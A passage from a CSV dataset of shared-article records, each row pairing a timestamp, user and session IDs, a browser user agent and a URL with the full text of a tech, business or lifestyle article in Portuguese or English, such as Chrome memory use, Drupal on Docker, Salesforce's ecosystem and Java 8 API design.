enfrentar os desafios de ""alfabetizar"" seus futuros clientes. João Kepler é reconhecido como um dos conferencistas mais sintonizados com Inovação e Convergência Digital do Brasil; Especialista em e-commerce, marketing, empreendedorismo e vendas; Investidor Anjo, líder do núcleo Nordeste da Anjos Do Brasil; Lead Partner da Plataforma DealMatch; Cotista e Mentor nas Aceleradoras 85Labs e StartYouUp; Vencedor do prêmio Spark Awards da Microsoft como Investidor Anjo do Ano 2015; Speaker internacional; Premiado por anos consecutivos como um dos maiores Incentivadores do Ecossistema Empreendedor Brasileiro.",pt
1476722551,CONTENT SHARED,2715453133655798791,-4028919343899978105,6702709297756973694,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://www.engadget.com/2016/10/17/the-simpsons-vr-google-cardboard/,'The Simpsons' celebrates 600 episodes with a VR couch gag,"For the opening of Treehouse of Horror XXVII , which aired last night, viewers were treated to a Planet of the Apes parody called Planet of the Couches. Fans could (and still can) download the Google Spotlight Stories app (available on both iOS and Android ) to engage with a 360-degree experience that responds to their movement. The couch gag normally runs for 45 seconds, but Planet of the Couches offers an extra two minutes of bonus content. We won't ruin it for you but there are six different scenes that include a Moe's ""Cavern"" and a snarky quip from The Comic Book Guy. Just make sure to explore all 360 degrees to catch all of the clever references and in-jokes. The experience is best viewed with a viewer like Cardboard, but you can still enjoy the VR short by opening the Spotlight Stories app and physically moving your iPhone or Android device around (it just won't be as immersive). Get out your #GoogleCardboard , the 600th episode couch gag VR experience via @Google starts now! pic.twitter.com/ip3jLs0N8D - The Simpsons (@TheSimpsons) October 17, 2016",en
1476722765,CONTENT SHARED,1992928170409443117,-4028919343899978105,6702709297756973694,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://googlediscovery.com/2016/10/11/google-vai-reduzir-em-50-consumo-de-memoria-do-chrome/,Google vai reduzir em 50% consumo de memória do Chrome | Google Discovery,"O Google anunciou que a versão 55 do Chrome vai incluir um novo motor JavaScript que irá reduz significativamente o consumo de memória no navegador. A empresa afirma que seus testes internos, que incluem páginas populares como o New York Times, Twitter, Reddit e YouTube, irão utilizar 50% menos RAM, em média, do que a atual versão 53 do Chrome. O upgrade está programado para acontecer no dia 06 de dezembro para a versão estável do Chrome, mas os usuários de versões Beta, Canary e DEV poderão desfrutar em primeira mão. A equipe do Chromium espera tornar o Chrome mais funcional em dispositivos menos sofisticados, principalmente aqueles com menos de 1 GB de memória.",pt
1476729218,CONTENT SHARED,-4024778022934140027,3829784524040647339,1283403172134232428,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://www.oreilly.com/ideas/using-behavioral-data-to-improve-customer-satisfaction,Using behavioral data to improve customer satisfaction,"Why cross-channel analytics are crucial to empowering business teams with a behavioral view of your customer. Bird's eye view. (source: Pixabay ). Today's customer can choose to interact with you in many ways-over the phone, in your stores, on the web, through social media, or likely all of the above. The data from these interactions provides a new level of insight into customer satisfaction, more so than traditional loyalty metrics. Behavioral data is exciting because unlike loyalty metrics, it shows you what the customer does, instead of telling you what they think. It can also shed light on the context of their actions, helping you see areas where you can improve immediately. By using information from every touchpoint, you create a picture of customer behavior that moves like they do-in real-time and in all dimensions. Not only is this level of detail necessary for you to have a clear picture of customer happiness, you need it to satisfy the current demands of business. Ryan Garrett of Teradata works with data teams to improve customer satisfaction. He says that though the way customers interact with companies has changed: ""The goal of the interaction hasn't. Customers still want a simple experience. Except now, that means companies both understanding who you are as well as your intentions. It's the modern version of calling a phone company and the support representative knowing about the recent issues you've experienced."" According to Garrett, overlooking one of the channels in which your customers interact with you is a mistake since without the full picture, it's difficult to understand how events affect customer satisfaction with products and services. Garrett gives the example of in-store visits for telecom companies, which are typically viewed as positive events. A very different picture should emerge here, however, when the customer shows up after two calls to a center with the problem still unresolved. Cross-channel analytics reveal the more likely conclusion of this scenario where analysis of only one channel would have fallen short. ""Once you tie those cross-channel pieces together,"" Garrett says, ""you can more accurately infer the customer's degree of satisfaction or dissatisfaction and respond accordingly."" In some cases, analytics teams have the relevant behavioral data, but are analyzing it in a way that is inactionable-you may learn of an increasing number of customer problems without any detailed information on what types of problems they are, for example. Rather than leading to more efficient business, this abets a notorious enemy of work-information overload. In another pitfall, analysts sometimes build complicated models that confuse the business teams that need to use them. As a result, nothing changes. To solve this problem, Garrett says, ""You need to provide non-engineering users with tools to understand the data behind the events so they can take action to simplify customers' lives."" This allows both teams to play to their strengths and navigates the gap between the two stakeholders. Understanding cross-channel customer behavior will take time, resources, and experience (read: mistakes). You might need to update your organization's strategy and analytics structure, or make deep changes to how you're organizing analytics processes or gathering and preparing data. Developing the most accurate picture of your customer, however, is invaluable. With it, business teams can make better decisions, resulting in smarter customer interactions wherever and whenever they happen. This post is a collaboration between O'Reilly and Teradata. See our statement of editorial independence . Article image: Bird's eye view. (source: Pixabay ). Distributed analytics using Apache Spark, integrated with Python libraries scikit-learn and seaborn to visualize clusters of artwork in the MOMA collection. Smart cities and smart nations run on data. Making search smarter through better human-computer interaction. Python Data Science Handbook: Early Release",en
1476729411,CONTENT SHARED,-1787737696395220629,-4028919343899978105,6702709297756973694,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://www.b9.com.br/67542/tech/laboratorio-da-disney-cria-robo-que-pula/,Laboratório da Disney cria robô que pula,"Como se não bastasse o robô capaz de subir pelas paredes , a Disney inventou um novo robô. Dessa vez os laboratórios da empresa criaram um robô que pula. Veja no vídeo acima. No topo da sua perna única, ficam o computador, os sensores e uma bateria, enquanto que a perna é feita de um mecanismo de molas paralelas. O computador é capaz de calcular e executar pelo menos 19 pulos antes dele perder o equilíbrio e cair, mas ainda assim é um progresso interessante para uma companhia investindo na área. A sugestão do The Verge é que ele seja transformado em um brinquedo o mais rápido possível - e se não for incomodar muito, que seja um robô do Tigrão, do Ursinho Puff.",pt
1476731425,CONTENT SHARED,-4195851681734441295,3609194402293569455,7539347816740119834,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://insready.com/en/blog/testing-new-drupal-8-installation-2-docker-commands,Testing a new Drupal 8 installation with 2 Docker commands,"While I was mentoring GSoC 2015 Hawk Auth project, we wanted to test the project in D8 sandbox often. Simplytest.me doesn't help here, because Hawk Auth uses Composer Manager to download extenal PHP library. (Another project using this set up is Commerce for D8 .) There is an issue of supporting Composer in Simplytest.me queue, but it hasn't been followed up. Therefore, we tried to use Docker to spin up a new Drupal installation. It was very fast and simple. Below is the documentation: Step 1: Spin up a database docker run --name drupaldb -e MYSQL_ROOT_PASSWORD=password -e MYSQL_DATABASE=drupal -d mariadb (here we created a docker container called ""drupaldb"" using ""mariadb"" image, then we created a database ""drupal"" and set root password to be ""password"") Step 2: Spin up Drupal 8 docker run --name d8docker --link drupaldb:mysql -p 80:80 -d drupal:8.1.8 (here we created a docker container called ""d8docker"" using ""drupal:8.1.8"" image, then used port 80 on localhost for access and linked to the database container we just created) Done. Now, you can open localhost or 127.0.0.1 on your browser to install Drupal into the database. If your localhost port 80 is being used, then you can change this section ""80:80"" in the above command to something like ""1234:80"", which will use port 1234 on your localhost. Step 2.1: if you need to access the terminal of the D8 website container docker exec -ti d8docker bash (once you in, execute ""export TERM=xterm"" in your terminal for using text editor) Step 2.2: if you want to read the log Step 3: Cleaning up docker stop d8docker docker stop drupaldb docker rm -v d8docker docker rm -v drupaldb",en
1476745173,CONTENT SHARED,711995695898078056,3217014177234377440,-7903446483526346645,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36",SP,BR,HTML,http://www.caroli.org/novidade-ebook-enxugando-maquina/,[eBook] Enxugando a máquina - Paulo Caroli,"Tenho um novo eBook para compartilhar contigo: ""Enxugando a máquina"" . Desde 2000, tenho me envolvido (e muito) com ágil e lean. Posso dizer que essa é a minha praia, a qual continuo curtindo: ágil, lean, transformação digital, inovação, MVP... Por vezes, esbarrei com assuntos que não eram os meus favoritos, como contratos e métricas de software. Até o dia em que tive de entrar a fundo nesse mundo. Não me tornei um expert nesses assuntos, porém, entendi o suficiente para perceber que não precisava existir uma divisão: ou usa ágil e lean, ou usa essas tais métricas. Tive a oportunidade de trabalhar com o Ismael Melo. O Ismael tem um perfil parecido com o meu: é um expert em uma área e trata uma outra área com respeito e muito interesse. Essas áreas são ágil/lean e métricas, tais como APF e COSMIC. Outro aspecto que tanto o Ismael quanto eu temos em comum é o interesse em escrever e compartilhar aquilo que tem funcionado muito bem. Juntamos esforços e daí saiu um conteúdo muito importante. Quero compartilhar contigo este eBook: ""Enxugando a máquina"". Aproveite, pois está de graça por um tempo limitado. Abraços, Caroli",pt
1476785581,CONTENT SHARED,7506614456429888492,1895326251577378793,-3542948564210885159,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://www.zdnet.com/article/assessing-salesforces-platform-and-ecosystem/,Assessing Salesforce's platform and ecosystem | ZDNet,"Coming out of of the crush and excitement of Dreamforce in San Francisco last week, which has now become the second largest tech event in North America (only after CES), Salesforce sits atop an impressive growth curve, an enviable top 10 position in the industry , and what many regard as one of the more compelling cloud offerings in the marketplace. The organization is often considered one of the leading lights of progress when it comes to enterprise technology as well as business leadership , and its extensive philanthropic pursuits are well known. Overall, the outlook continues to look good for the company: Of the aforementioned top 10 software firms, of the companies that are in the cloud, only Amazon Web Services is growing faster (70% vs. Salesforce's 24% year-over-year growth.) Yet the outlook isn't necessarily entirely rosy. Headwinds are on the horizon as technology continues to change and companies look for new ways to digitize, yet somehow remain in control of their IT systems. The company's strict 100% public cloud policy, which has long been touted by CEO Marc Benioff, has been a long-standing issue based on my conversations with CIOs over the years, even as it offers genuinely compelling economies of scale and a real (though partial) solution to the perennial upgrade hell that plagues most IT organizations today. That's because in theory -- and often in practice -- public cloud largely offloads the substantial maintenance headache of keeping applications up to date, allowing IT to focus more of its time and resources on strategic activities like innovation and digital transformation . Recent industry data also shows that organizations in general are growing more concerned about the control and influence of large cloud suppliers like Salesforce: The typical worries include risks such as the consequences of sole sourcing to one vendor, getting locked into a proprietary platform, and even using new enterprise solutions that are still very much maturing. These vendor issues are valid customer concerns that will likely continue as Salesforce continues expanding its product portfolio into adjacent territories and functional areas well beyond its roots in customer relationship management (CRM.) Salesforce Well Positioned for the IT End Game: Public Cloud Yet despite the concerns, the inexorable march towards public cloud has greatly accelerated in recent years, positioning Salesforce well for continued rapid growth over the next few years. The latest trend data available show that sometime during 2018, over half of all IT spending -- and just over half of the overall share of actual computing workloads -- will have permanently shifted to the public cloud, making it the leading operational model for running our business applications for the first time in IT history. Other leading cloud quasi-competitors, such as Amazon's now vast set of offerings for public cloud , have focused more on the bottom of the cloud computing stack with horizontal technology services like storage and compute power. Amazon has largely let other companies, including now significantly Salesforce itself , build out the top of the cloud stack, where business applications operate. In this regard, Salesforce offers ready-to-go off-the-shelf enterprise business apps today that are usually in the lead positions of the various analyst scoring charts. For example, Gartner's latest Magic Quadrant for CRM lists Salesforce as far and away the market leader in CRM, even though the company has only about a 20% global marketshare in the segment. However, the company has also achieved something else important that's no mean feat: The same industry leadership is also true of the company's newer offerings as well, consistently entering new functional sectors like marketing and customer service and solution spaces like horizontal portals or social software already in the leader segments of Gartner's vendor rankings. It's the same with many other analyst scorecards. This implies that organizations that adopt the platform broadly have ready and straightforward access to best-of-breed solutions across the board by virtue of simply selecting the Salesforce platform, even as it ventures into new territories. This is a compelling and desirable value proposition to IT and business buyers both. Because of Salesforce's reputation in this regard, as steadily offering a wide variety of leading business solutions with the very latest new capabilities baked in on a regular basis -- starting with cloud, and then over time adding capabilities for social, mobile, analytics, and now artificial intelligence -- companies often feel assured that the platform as a whole is taking them towards the future and will stay current. Related: Salesforce Einstein: Dream versus reality A Platform Beats an Application Every Time However, Salesforce hasn't stopped there. Realizing that they could never deliver all the innovation their customers needed on their own, a strategic insight that's often made by digital leaders , Salesforce was one of the very first enterprise cloud companies to open their platform to partners to develop on, well before companies like Apple and Google did something similar with their app stores. Known as AppExchange , the company's bustling online marketplace for 3rd party Salesforce solutions was launched way back in 2005, and currently offers over 3,000 business apps built on top of the company's platform, which have now been installed more than 4 million times. This has resulted in a rich ecosystem for Salesforce that goes well beyond the traditional value-added reseller (VAR) and service provider environment that accumulates around most enterprise software companies. With thousands of software companies (ISVs) building solutions for the Salesforce platform, adding features, functions, software suites, and even entirely new industry capabilities, the company has proactively enabled the external enrichment of its platform such that it can now deliver a wider variety of business functionality than almost any other enterprise cloud company today. Salesforce has even recently quantified the holistic economic value of its ecosystem of partners , claiming that every $1 spent on the company gains $4.14 more for them. This then is the so-called ecosystem game that the largest consumer companies in the world have long excelled at, and turned into scalable competitive advantage. But notably, Salesforce has translated this model successfully to the enterprise like few others, enriching everyone involved in the process including its customers, partners, and company itself. An Apparent Commitment to Future Proofing Salesforce has also not shied away from add new capabilities the market may not be fully ready for today but will be mature by the time it has caught up. Possibly the most challenging addition was the incorporation of social and community features in the platform back in 2011. At the time I wrote that it was a significant move that would position them and their customers well in the future, despite criticisms about social sprawl and stack fatigue : It's safe to say that Salesforce has a very clear vision that is connected as much as they can to ground truth about what businesses are doing and then distilling where they think the world is going to their products. They are making a big investment in time and resources in attempting to understand the strategies, lessons learned, and best practices that businesses can just adopt by using their platform. Access to this insight merely by virtue of using the platform is going to be compelling for many. As I recapped last year -- despite ultimately being early to the game -- Salesforce has steadily continued investment in social and has expanded well beyond its Chatter product into its Community Cloud platform. As digital engagement becomes an ever more critical differentiator for organizations , I believe the company's investment in social will likely bear some of the most fruit long term, by holding stakeholders digitally closer than any other known method. This was a brave commitment by Salesforce at the time when it's now clear that many of its customers still weren't ready for what has now become a key plank in digital experience . All of this is why I place the community layer so prominently in the Salesforce product chart above. The Salesforce Platform: Still Room to Grow However, despite its forward-looking product lines and robust enterprise ecosystem, the company is still far from a one-stop cloud shop. While you can acquire some of the missing capabilities by selecting 3rd party solutions from AppExchange, there are still significant gaps in Salesforce's own product offerings, despite over a decade of acquisitions and internal development of its platform. Notably missing are many of the components of ERP, which competitors like Oracle and SAP are much more focused on. Capabilities such as accounting, human capital management, supply chain management, and production management are all absent from the platform, which instead tends to focus on the market-facing side what organizations do: Marketing, sales, and customer service. What this means is that -- for better or for worse -- Salesforce is not yet a cloud provider that can deliver the majority of what's required to run the average enterprise. Admittedly, it's not even clear if this is a strategic goal of the company. But to sustain the platform as it gets larger, and for it to become the industry's ultimate cloud provider for business applications in general, it will likely be encouraged to expand into these areas and others. So, for organizations that want to move towards the public cloud today, additional partners beyond Salesforce are still required. This then almost certainly highlights potential future directions for the company. It now seems hard to imagine, given its growth into new major corporate functions in recent years, that the company will not eventually expand into the back office and digital workplace when the time is right. For now, however, acquiring one of the the market leaders in ERP, for example, seems unlikely. At least not until the company gets significantly larger and has the resources for such a significant investment. Thus Salesforce will probably bide its time until either a second tier smaller player breaks out, FinancialForce gets major traction in the ERP space (which Salesforce has an equity stake in), or the company is finally in the position to reshape the top of the industry through a merger or acquisition. Looking at last week's announcements at Dreamforce can also give us some indication of where Salesforce will decide to go next. Their acquisition of Quip was the most significant move yet for the company into the digital workplace and workforce productivity tools, showing potential interest in moving into the office software space. The addition of Einstein to put artificial intelligence capabilities into the core of the platform shows how the company is future proofing for capabilities that will have competitive significant in the future. Another interesting highlight is the company's continued investment in Internet of Things via its IoT Cloud offering, another addition to the platform that doesn't seem related to its core CRM mission, though the reality could not be further from the truth . At the end of the day, it's clear that Salesforce appears fully committed to creating the richest, market-leading cloud platform for business software in the industry, out-maneuvering traditional competitors like Oracle and Microsoft when it comes to offering the capabilities that business that will need in the near future. While its market-facing emphasis still means that the platform isn't going to run an entire business -- at least not for a few more years -- it's clear that the company has big plans for the future. In any case, much of what's missing can be sourced in its ecosystem, and as a result has already long become mainstay in many large enterprises. Ultimately, however, it's perhaps an emerging new mantra from the company that is the most compelling. As I noted in my live blogging of the details of Benioff's keynote at Dreamforce last week, simplicity is a new focus for the company in the face of the growing complexity of its market, its customers, and its products. Benioff pointedly said on stage last week in San Francisco, ""We want to take all the complex things in the world and make them easy."" That's a technology vision that most organizations could get behind today. Additional Reading The leading enterprise intranet, portal, and collaboration platforms for 2016 Salesforce poised to grab more spending as customers eye cloud integration",en
1476787589,CONTENT SHARED,-3058031327323357308,7645894863578715801,7779918589008538147,Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0,SP,BR,HTML,https://dzone.com/articles/the-java-8-api-design-principles,The Java 8 API Design Principles,"This article is featured in the new DZone Guide to Modern Java, Volume II. Get your free copy for more insightful articles, industry statistics, and more. Anyone that writes Java code is an API designer! It does not matter if the coders share their code with others or not, the code is still used; either by others, by themselves or both. Thus, it becomes important for all Java developer to know the fundamentals of good API design. A good API design requires careful thinking and a lot of experience. Luckily, we can learn from other clever people like Ference Mihaly, whose blog post inspired me to write this Java 8 API addendum. We relied heavily on his checklist when we designed the Speedment API. (I encourage you all to read his guide.) Getting it right from the start is important because once an API is published, a firm commitment is made to the people who are supposed to use it. As Joshua Block once said: ""Public APIs, like diamonds, are forever. You have one chance to get it right, so give it your best."" A well-designed API combines the best of two worlds, a firm and precise commitment combined with a high degree of implementation flexibility, eventually benefiting both the API designers and the API users. Why use a checklist? Getting the API right (i.e. defining the visible parts of a collection of Java classes) can be much harder than writing the implementation classes that makes up the actual work behind the API. It is really an art that few people master. Using a checklist allows the reader to avoid the most obvious mistakes, become a better programmer and save a lot of time. API designers are strongly encouraged to put themselves in the client code perspective and to optimize that view in terms of simplicity, ease-of-use, and consistency - rather than thinking about the actual API implementation. At the same time, they should try to hide as many implementation details as possible. Do not Return Null to Indicate the Absence of a Value Arguably, inconsistent null handling (resulting in the ubiquitous NullPointerException) is the single largest source of Java applications' errors historically. Some developers regard the introduction of the null concept as one of the worst mistakes ever made in the computer science domain. Luckily, the first step of alleviating Java's null handling problem was introduced in Java 8 with the advent of the Optional class. Make sure a method that can return a no-value returns an Optional instead of null. This clearly signals to the API users that the method may or may not return a value. Do not fall for the temptation to use null over Optional for performance reasons. Java 8's escape analysis will optimize away most Optional objects anyway. Avoid using Optionals in parameters and fields. Do This: Don't Do This: Do not Use Arrays to Pass Values to and From the API A significant API mistake was made when the Enum concept was introduced in Java 5. We all know that an Enum class has a method called values() that returns an array of all the Enum's distinct values. Now, because the Java framework must ensure that the client code cannot change the Enum's values (for example, by directly writing to the array), a copy of the internal array must be produced for each call to the value() method. This results in poor performance and also poor client code usability. If the Enum would have returned an unmodifiable List, that List could be reused for each call and the client code would have had access to a better and more useful model of the Enum's values. In the general case, consider exposing a Stream, if the API is to return a collection of elements. This clearly states that the result is read-only (as opposed to a List which has a set() method). It also allows the client code to easily collect the elements in another data structure or act on them on-the-fly. Furthermore, the API can lazily produce the elements as they become available (e.g. are pulled in from a file, a socket, or from a database). Again, Java 8's improved escape analysis will make sure that a minimum of objects are actually created on the Java heap. Do not use arrays as input parameters for methods either, since this - unless a defensive copy of the array is made - makes it possible for another thread to modify the content of the array during method execution. Do This: Don't Do This: Consider Adding Static Interface Methods to Provide a Single Entry Point for Object Creation Avoid allowing the client code to directly select an implementation class of an interface. Allowing client code to create implementation classes directly creates a much more direct coupling of the API and the client code. It also makes the API commitment much larger, since now we have to maintain all the implementation classes exactly as they can be observed from outside instead of just committing to the interface as such. Consider adding static interface methods, to allow the client code to create (potentially specialized) objects that implement the interface. For example, if we have an interface Point with two methods int x() and int y(), then we can expose a static method Point.of(int x, int y) that produces a (hidden) implementation of the interface. So, if x and y are both zero, we can return a special implementation class PointOrigoImpl (with no x or y fields), or else we return another class PointImpl that holds the given x and y values. Ensure that the implementation classes are in another package that are clearly not a part of the API (e.g. put the Point interface in com.company. product.shape and the implementations in com.company.product.internal.shape). Do This: Don't Do This: Favor Composition With Functional Interfaces and Lambdas Over Inheritence For good reasons, there can only be one super class for any given Java class. Furthermore, exposing abstract or base classes in your API that are supposed to be inherited by client code is a very big and problematic API commitment. Avoid API inheritance altogether, and instead consider providing static interface methods that take one or several lambda parameters and apply those given lambdas to a default internal API implementation class. This also creates a much clearer separation of concerns. For example, instead of inheriting from a public API class AbstractReader and overriding abstract void handleError(IOException ioe), it is better to expose a static method or a builder in the Reader interface that takes a Consumer<IOException> and applies it to an internal generic ReaderImpl. Do This: Don't Do This: Ensure That You Add the @FunctionalInterface Annotation to Functional Interfaces Tagging an interface with the @FunctionalInterface annotation signals that API users may use lambdas to implement the interface, and it also makes sure the interface remains usable for lambdas over time by preventing abstract methods from accidently being added to the API later on. Do This: Don't Do This: Avoid Overloading Methods With Functional Interfaces as Parameters If there are two or more functions with the same name that take functional interfaces as parameters, then this would likely create a lambda ambiguity on the client side. For example, if there are two Point methods add(Function<Point, String> renderer) and add(Predicate<Point> logCondition) and we try to call point.add(p -> p + "" lambda"") from the client code, the compiler is unable to determine which method to use and will produce an error. Instead, consider naming methods according to their specific use. Do This: Don't Do This: Avoid Overusing Default Methods in Interfaces Default methods can easily be added to interfaces and sometimes it makes sense to do that. For example, a method that is expected to be the same for any implementing class and that is short and ""fundamental"" in its functionality, is a viable candidate for a default implementation. Also, when an API is expanded, it sometimes makes sense to provide a default interface method for backward compatibility reasons. As we all know, functional interfaces contain exactly one abstract method, so default methods provide an escape hatch when additional methods must be added. However, avoid having the API interface evolve to an implementation class by polluting it with unnecessary implementation concerns. If in doubt, consider moving the method logic to a separate utility class and/or place it in the implementing classes. Do This: Don't Do This: Ensure That the API Methods Check the Parameter Invariants Before They Are Acted Upon Historically, people have been sloppy in making sure to validate method input parameters. So, when a resulting error occurs later on, the real reason becomes obscured and hidden deep down the stack trace. Ensure that parameters are checked for nulls and any valid range constrains or preconditions before the parameters are ever used in the implementing classes. Do not fall for the temptation to skip parameter checks for performance reasons. The JVM will be able to optimize away redundant checking and produce efficient code. Make use of the Objects.requireNonNull() method. Parameter checking is also an important way to enforce the API's contract. If the API was not supposed to accept nulls but did anyhow, users will become confused. Do This: DON'T DO THIS: Do not Simply Call Optional.get() The API designers of Java 8 made a mistake when they selected the name Optional.get() when it should really have been named Optional.getOrThrow() or something similar instead. Calling get() without checking if a value is present with the Optional.isPresent() method is a very common mistake which fully negates the null elimination features Optional originally promised. Consider using any of the Optional's other methods such as map(), flatMap() or ifPresent() instead in the API's implementing classes or ensure that isPresent() is called before any get() is called. Do This: Don't Do This: Consider Separating Your Stream Pipeline on Distinct Lines in Implementing API Classes Eventually, all APIs will contain errors. When receiving stack traces from API users, it is often much easier to determine the actual cause of the error if a Stream pipeline is split into distinct lines compared to a Stream pipeline that is expressed on a single line. Also, code readability will improve. Do This: Don't Do This: For more insights on Jigsaw, reactive microservices, and more get your free copy of the new DZone Guide to Modern Java, Volume II!",en
1476787842,CONTENT SHARED,5901067357946111913,5206835909720479405,-5745419796783638618,Android - Native Mobile App,SP,BR,HTML,http://www.stylourbano.com.br/comprar-roupas-esta-ficando-fora-de-moda-no-reino-unido/,Comprar roupas está ficando fora de moda no Reino Unido,"Uma tendência chamada ""Novo Consumismo"" está crescendo cada vez mais e fazendo com que as pessoas comprem de forma mais consciente do que antes. Em vez de comprarem roupas, as pessoas no Reino Unido estão preferindo investir em viagens de férias e idas a restaurantes. O lucro das maiores varejistas do país despencou porque suas vendas caíram 4,4% em cinco dos últimos seis meses. As vendas entraram em declínio pela primeira vez em mais de 20 anos. As maiores lojas da Grã-Bretanha estão sofrendo como resultado. Marks and Spencer , o maior varejista de roupas com 10% do mercado, está cortando postos de trabalho depois de relatar a sua maior queda trimestral em vendas de roupas há mais de uma década, em julho. French Connection não tem reportado aumento do lucro desde 2012. Mesmo algumas das marcas de rua mais famosas parecem estar lutando para enfrentar a pressão da concorrência e fazer constantes descontos. A rede de lojas John Lewis teve uma queda nos lucros semestrais de 75%, e a rede de fast fashion Primark , cujas lojas de rua são as mais visitadas, informou a primeira queda em vendas em suas lojas no Reino Unido em 16 anos. A empresa culpou o Outono quente no ano passado e a primavera fria deste ano. Segundo uma pesquisa de consumo feita com 15.000 britânicos pela empresa Kantar Worldpanel, os consumidores acreditam que o tempo está se tornando menos previsível, o que significa que eles estão esperando que o frio do inverno ou a onda de calor do verão se materializem antes de comprar qualquer coisa. Mas essa mudança de consumo de moda acontece em outros países, como a França e os EUA, que estão experimentando uma desaceleração semelhante nas vendas de roupas, embora não tão grande como no Reino Unido, sugerindo que a mudança climática pode ser apenas uma parte do todo. As razões pelas quais a compra de roupas pode estar ficando fora de moda: * Diante de um clima imprevisível, as pessoas estão esperando para comprar roupas de verão ou inverno até que precisem realmente delas; * Os clientes agora esperam pelas liquidações antes de comprar para não pagar o preço cheio das peças; * Desde o lançamento do jeans skinny há dez anos, os varejistas dizem que não houve nenhuma grande tendência varrendo a moda nos últimos anos para forçar os consumidores conscientes a mudarem seus guarda-roupas; * Os consumidores da Geração Y estão economizando seu dinheiro com experiências, tais como férias ou jantares, em vez de gastá-lo com moda."" A comida é a nova moda. As lojas de varejo podem parecer chatas, ao passo que existem muitos restaurantes com conceitos alimentares inspiradores."" Mas outro fator importante que poderia estar influenciando essa mudança, é que as pessoas estão cansadas de gastar tanto tempo e dinheiro com coleções de moda que só remixam estilos do passado. Era uma questão de tempo para que os compradores fizessem uma pausa. Em 2016, no Reino Unido, um consumidor médio comprou 60 peças de roupa nova, a primeira queda em sete anos, de acordo com analistas de mercado. Vendas agora acontecem mensalmente, por isso é fácil para os compradores esperarem por pechinchas. Há descontos em abundância. O consumo de moda está perdendo sua influência sobra a geração Y É justamente na geração do milênio ou geração Y, que houve uma queda perceptível no consumo de roupas. Os consumidores menores de 25 anos estão comprando menos enquanto as pessoas mais velhas, de 45 a 50 anos, aumentaram a quantidade de gastos com roupas para os seus filhos, filhas e assim por diante. Alguns varejistas têm culpado a indústria da moda. No início deste ano, Richard Hayne, presidente-executivo da Urban Outfitters, disse que a última grande tendência da moda aconteceu há 10 anos com o jeans skinny. ""Desde então nós tivemos todas as variedades de skinny: de cintura baixa a cintura alta, mas hoje, o cliente está com o armário cheio desses modelos skinny. Sem uma nova moda para impulsionar as compras, os clientes podem facilmente adiar seus gastos"" disse ele ao site The Independent . Richard Hayne acredita que a moda pode ter ""perdido um pouco de sua magia com a geração do milênio"" . Os consumidores de hoje estão reavaliando suas prioridades e questionando o que eles realmente acham que tem valor. Isso se encaixa na tendência crescente de "" Novo Consumismo "", um termo cunhado pela empresa de pesquisa Euromonitor para descrever um movimento generalizado que prioriza o consumo conscientes sobre o consumo impulsivo. Há oito principais tendências que compõem o Novo Consumismo: 1) A economia circular (onde tudo é utilizado e nada é desperdiçado) 2) A inovação frugal (significa eliminação de características não essenciais e muitas vezes dispendiosas de um produto ou serviço) 3) Negociação (os consumidores tornaram-se compradores mais inteligentes, não tem vergonha de procurar pechinchas e a tecnologia contribuiu para isso.) 4) A economia de compartilhamento (que liga a oferta e a procura, interrompendo a forma tradicional de condução de negócios) 5) Experiência (a priorização do fazer, ver e sentir sobre o ""possuir mais coisas"") 6) Tempo para si próprio (um aumento das tarefas terceirizadas para se ter mais conveniência) 7) Reavaliar a própria utilização do espaço (ou seja, eu realmente preciso viver numa casa grande?) 8) A economia 'gig' (caracterizado por contratos de curto prazo de trabalho e freelancer, bem como a capacidade de se movimentar) No mundo da moda, o Novo Consumismo se traduziu em demanda por maior transparência, valores de marca autêntica, processos de produção sustentáveis, economia de compartilhamento e experiências de varejo originais, entre outras coisas. Será que os jovens da geração do milênio estão se cansando do hiper consumismo do fast fashion e estão buscando algo melhor para si mesmos e para o mundo? Libriano curioso e inquieto que queria ser arquiteto mas se formou em artes plásticas e se tornou decorador, mas finalmente acabou mesmo se apaixonando pela moda.",pt
1476807337,CONTENT SHARED,-3295730307439884506,3829784524040647339,-866786169038130397,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://arxiv.org/abs/1312.4645v4,[1312.4645v4] A Bayesian Approach to Graphical Record Linkage and De-duplication,"Abstract: We propose an unsupervised approach for linking records across arbitrarily many files, while simultaneously detecting duplicate records within files. Our key innovation involves the representation of the pattern of links between records as a bipartite graph, in which records are directly linked to latent true individuals, and only indirectly linked to other records.",en
